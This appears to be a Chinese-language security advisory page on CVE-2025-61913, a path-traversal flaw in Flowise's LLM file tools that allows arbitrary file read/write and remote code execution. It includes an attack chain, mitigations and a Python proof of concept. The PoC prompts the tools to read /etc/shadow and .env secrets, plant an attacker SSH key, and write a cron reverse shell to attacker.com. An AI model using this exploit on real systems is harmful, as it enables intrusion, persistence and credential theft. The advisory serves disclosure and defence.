IPBUF安全漏洞报告
English
CVE-2025-61913 CVSS 9.9 严重

CVE-2025-61913 Flowise任意文件读写导致远程代码执行漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-61913
漏洞类型
路径遍历/任意文件读写/远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flowise (FlowiseAI/Flowise)

相关标签

路径遍历任意文件读取任意文件写入远程代码执行RCEFlowiseFlowiseAILLMAI安全高危漏洞

漏洞概述

CVE-2025-61913是Flowise(一个开源的拖拽式大语言模型流程构建工具)中的一个高危安全漏洞。该漏洞存在于Flowise的WriteFileTool和ReadFileTool组件中,这两个工具用于在LLM流程中读取和写入文件。然而,在3.0.8版本之前,这两个工具未对文件路径访问进行任何限制,允许经过身份验证的攻击者利用此漏洞读取和写入文件系统中的任意文件。

该漏洞的CVSS评分为9.9,属于严重级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),且影响范围已发生改变(S:C),意味着该漏洞可能影响到超出其自身安全范围的组件。

攻击者利用此漏洞可以读取服务器上的任意敏感文件(如配置文件、密钥文件、环境变量等),也可以向任意路径写入文件。通过写入恶意文件(如Webshell、cron任务、启动脚本等),攻击者可以进一步实现远程命令执行(RCE),完全控制目标服务器。由于Flowise通常用于构建AI应用流程,部署环境中可能包含敏感的API密钥、数据库凭证等,一旦被攻击者获取,后果将非常严重。该漏洞已于Flowise 3.0.8版本中修复,建议所有用户尽快升级。

技术细节

Flowise中的WriteFileTool和ReadFileTool是提供给LLM流程使用的工具类,用于在工作流中读取和写入文件内容。在3.0.8之前的版本中,这两个工具在处理文件路径时未实施任何路径验证或限制措施。

具体技术原理如下:

1. **路径遍历漏洞**:WriteFileTool和ReadFileTool接收用户提供的文件路径作为输入,但未对路径进行规范化或验证。攻击者可以使用绝对路径(如/etc/passwd、/root/.ssh/authorized_keys)或包含路径遍历序列的相对路径(如../../../../etc/shadow)来访问任意文件系统位置。

2. **任意文件读取**:通过ReadFileTool,攻击者可以读取服务器上的任何文件,包括但不限于:
- 应用程序配置文件(可能包含数据库凭证、API密钥)
- 环境变量文件(.env)
- SSH私钥文件
- 系统敏感文件(/etc/passwd、/etc/shadow等)

3. **任意文件写入**:通过WriteFileTool,攻击者可以向任意路径写入文件:
- 写入Webshell到Web目录
- 修改SSH authorized_keys实现持久化访问
- 写入cron任务实现定时命令执行
- 覆盖系统配置文件

4. **权限要求**:攻击者需要拥有Flowise的有效账户(低权限即可),这意味着任何拥有平台访问权限的用户都可能利用此漏洞。

5. **远程代码执行**:通过组合文件读写能力,攻击者可以实现RCE。例如,向计划任务目录写入恶意脚本,或覆盖应用程序自身的代码文件。

攻击链分析

STEP 1
步骤1:获取有效凭证
攻击者通过钓鱼、社会工程或其他方式获取Flowise平台的有效用户账户凭证。由于漏洞仅需要低权限认证(PR:L),普通用户账户即可利用。
STEP 2
步骤2:探测目标环境
攻击者登录Flowise平台,创建或修改一个包含ReadFileTool的聊天流程,通过读取已知文件(如/etc/passwd、/etc/hostname等)确认漏洞存在并获取目标系统信息。
STEP 3
步骤3:读取敏感文件
利用ReadFileTool读取服务器上的敏感文件,包括Flowise的.env配置文件(包含数据库凭证、API密钥、加密密钥等)、SSH密钥文件、应用源代码等。
STEP 4
步骤4:写入恶意文件实现RCE
利用WriteFileTool向关键路径写入恶意文件,如:写入SSH公钥到authorized_keys实现持久化访问;写入cron任务实现定时反弹Shell;写入Webshell到Web目录实现Web访问。
STEP 5
步骤5:权限提升与横向移动
通过获取的凭证和远程命令执行能力,攻击者尝试权限提升,并利用读取到的网络配置和凭证在内部网络中进行横向移动,访问数据库、其他服务等。
STEP 6
步骤6:持久化与数据窃取
建立多个持久化后门,窃取所有敏感数据(包括LLM API密钥、用户数据、业务数据等),并可能部署挖矿程序或勒索软件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61913 - Flowise Arbitrary File Read/Write PoC # This PoC demonstrates exploitation of WriteFileTool and ReadFileTool # which lack path restrictions in Flowise versions prior to 3.0.8 import requests # Configuration TARGET_URL = "http://target-flowise-instance:3000" API_KEY = "your-flowise-api-key" # Authenticated session token headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } def read_arbitrary_file(file_path): """Exploit ReadFileTool to read arbitrary files via path traversal""" payload = { "question": f"Please read the file at the following path: {file_path}", "overrideConfig": { "tools": ["readFileTool"] } } response = requests.post( f"{TARGET_URL}/api/v1/prediction/", headers=headers, json=payload ) return response.json() def write_arbitrary_file(file_path, content): """Exploit WriteFileTool to write arbitrary files""" payload = { "question": f"Please write the following content to {file_path}: {content}", "overrideConfig": { "tools": ["writeFileTool"] } } response = requests.post( f"{TARGET_URL}/api/v1/prediction/", headers=headers, json=payload ) return response.json() # Example 1: Read sensitive configuration file print("[*] Reading /etc/passwd...") result = read_arbitrary_file("/etc/passwd") print(result) # Example 2: Read Flowise environment variables (may contain secrets) print("[*] Reading .env file...") result = read_arbitrary_file("/path/to/flowise/.env") print(result) # Example 3: Write SSH key for persistence ssh_key = "ssh-rsa AAAA... attacker@evil" print("[*] Writing SSH authorized_keys...") result = write_arbitrary_file("/root/.ssh/authorized_keys", ssh_key) print(result) # Example 4: Write a cron job for RCE cron_entry = "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\n" print("[*] Writing cron job...") result = write_arbitrary_file("/var/spool/cron/root", cron_entry) print(result) # Example 5: Path traversal with relative paths print("[*] Path traversal read attempt...") result = read_arbitrary_file("../../../../etc/shadow") print(result)

影响范围

Flowise < 3.0.8

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Flowise平台的访问,仅允许可信IP地址访问管理界面;2)审查并限制Flowise用户账户数量,禁用不必要的账户;3)监控Flowise服务器的异常文件读写活动;4)将Flowise进程以低权限用户运行,限制其对关键系统目录的访问权限;5)使用文件完整性监控工具(如AIDE、Tripwire)检测关键文件的异常修改;6)隔离Flowise服务器与其他关键系统,防止攻击者利用此漏洞进行横向移动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表